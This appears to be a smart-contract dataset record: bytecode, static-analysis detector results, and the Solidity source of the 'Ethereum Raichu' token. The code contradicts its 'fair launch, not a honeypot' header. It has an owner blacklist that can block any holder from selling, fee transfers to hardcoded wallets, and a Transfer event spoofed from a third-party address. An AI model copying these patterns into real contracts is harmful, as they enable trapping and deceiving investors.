91790555b33600090815260136020526040902054670de0b6b3a7640000108015613497575033600090815260136020526040902054678ac7230489e8000010155b156134b757336000908152601560205260409020805460ff191660321790555b33600090815260136020526040902054678ac7230489e8000010156134f157336000908152601560205260409020805460ff1916604b1790555b565b6005546000908152600260205260408120600301544291908211801561353657506005546000908152600260205260409020546101009004600160a060020a0316155b156135635761355c8261355085605a63ffffffff61249316565b9063ffffffff610a3616565b9050613590565b60055460009081526002602052604090206003015461358d9061355085605a63ffffffff61249316565b90505b6135a3620151808363ffffffff610a3616565b8110156135c6576005546000908152600260205260409020600301819055610cdd565b6135d9620151808363ffffffff610a3616565b600554600090815260026020526040902060030155505050565b6000806137644361355042336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061366e5780518252601f19909201916020918201910161364f565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120925050508115156136a457fe5b046135504561355042416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061371d5780518252601f1990920191602091820191016136fe565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561375357fe5b04613550424463ffffffff610a3616565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106137b25780518252601f199092019160209182019101613793565b51815160209384036101000a600019018019909216911617905260408051929094018290039091203360009081526015909252929020549194505060ff1691506064905082046064028203101561380c5760019150610b49565b60009150610b49565b508054600082559060005260206000209081019061383391906138f6565b50565b815481835581811115610cdd57600083815260209020610cdd9181019083016138f6565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061389b57805160ff19168380011785556138c8565b828001600101855582156138c8579182015b828111156138c85782518255916020019190600101906138ad565b50610b499291506138f6565b6060604051908101604052806060815260200160608152602001600081525090565b610cf391905b80821115610b4957600081556001016138fc5600a165627a7a72305820a5810c300c2bd70d01485dab1c3c96a635d892f10c160c5b34ea97ee0a6136f50029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,045
0x0c5a7d3244ec293afae46ad5036301fb2a84d00e
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ /** */ /* ETHEREUM RAICHU - $eRAICHU THIS IS THE OFFICIAL CONTRACT OF $eRAICHU - MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu Extreme bot protection! No bots will be able to partake in the project. 100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering! There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch! There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work The cooldown will be removed some time after launch DON'T panic not a honeypot! you'll be able to sell after 30 seconds! Join the telegram for more info https://t.me/eRaichu ⚡️Tokenomics ⚡️ ✔️ 1,000,000,000,000 Total Supply ✔️ 15% Burned before launch ✔️ Hardcoded buy limit of 0.25% ✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH ✔️ 5% Automated Rewards Farming (ARF) ✔️ 30 Seconds cooldown timer on unique addresses ✔️ Gradually increasing max TX (done manually by function) 💸BUYS 💸 ✔️ 7% Redistribution to current holders ✔️ 5% Developer Fee (since we provide starting LP) 💰 SELLS 💰 ✔️ 7% Redistribution to current holders ✔️ 8% Developer Fee (since we provide starting LP) ✔️ 100% of liquidity will be locked minutes after launch! ✔️ Ownership will be renounced SOCIALS: Website: https://raichucoin.com Twitter: https://twitter.com/eRAICHUcoin Telegram: https://t.me/eRaichu SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Raichu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Ethereum Raichu (raichucoin.com)"; string private constant _symbol = '$eRAICHU'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 7; _teamFee = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (33 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 7; _teamFee = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { payable(0xCb9D33c68a4F61d3c123c536463E2FACC9D5CAC1).transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2.125e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dba565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612900565b61045e565b6040516101789190612d9f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f3c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128b1565b61048d565b6040516101e09190612d9f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612823565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fb1565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612823565b610783565b6040516102b19190612f3c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cd1565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dba565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612900565b61098d565b60405161035b9190612d9f565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061293c565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129cf565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612875565b61121a565b6040516104189190612f3c565b60405180910390f35b60606040518060400160405280602081526020017f457468657265756d205261696368752028726169636875636f696e2e636f6d29815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161364c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e9c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e9c565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7d565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2465524149434855000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e9c565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613252565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611ceb565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612e9c565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f1c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061284c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061284c565b6040518363ffffffff1660e01b8152600401610e1f929190612cec565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061284c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d3e565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7991906129f8565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d15565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129a6565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612e9c565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e5c565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611fe590919063ffffffff16565b61206090919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f3c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612efc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e1c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f3c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612edc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612ddc565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612ebc565b60405180910390fd5b6007600a819055506005600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b6021426118549190613072565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506008600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611ceb565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120aa565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dba565b60405180910390fd5b5060008385611b839190613153565b9050809150509392505050565b73cb9d33c68a4f61d3c123c536463e2facc9d5cac173ffffffffffffffffffffffffffffffffffffffff166108fc611bd260028461206090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bfd573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c4e60028461206090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c79573d6000803e3d6000fd5b5050565b6000600854821115611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb90612dfc565b60405180910390fd5b6000611cce6120d7565b9050611ce3818461206090919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d49577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d775781602001602082028036833780820191505090505b5090503081600081518110611db5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e5757600080fd5b505afa158015611e6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8f919061284c565b81600181518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f94959493929190612f57565b600060405180830381600087803b158015611fae57600080fd5b505af1158015611fc2573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611ff8576000905061205a565b6000828461200691906130f9565b905082848261201591906130c8565b14612055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204c90612e7c565b60405180910390fd5b809150505b92915050565b60006120a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612102565b905092915050565b806120b8576120b7612165565b5b6120c38484846121a8565b806120d1576120d0612373565b5b50505050565b60008060006120e4612387565b915091506120fb818361206090919063ffffffff16565b9250505090565b60008083118290612149576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121409190612dba565b60405180910390fd5b506000838561215891906130c8565b9050809150509392505050565b6000600a5414801561217957506000600b54145b15612183576121a6565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121ba876123e9565b95509550955095509550955061221886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245190919063ffffffff16565b600260008b7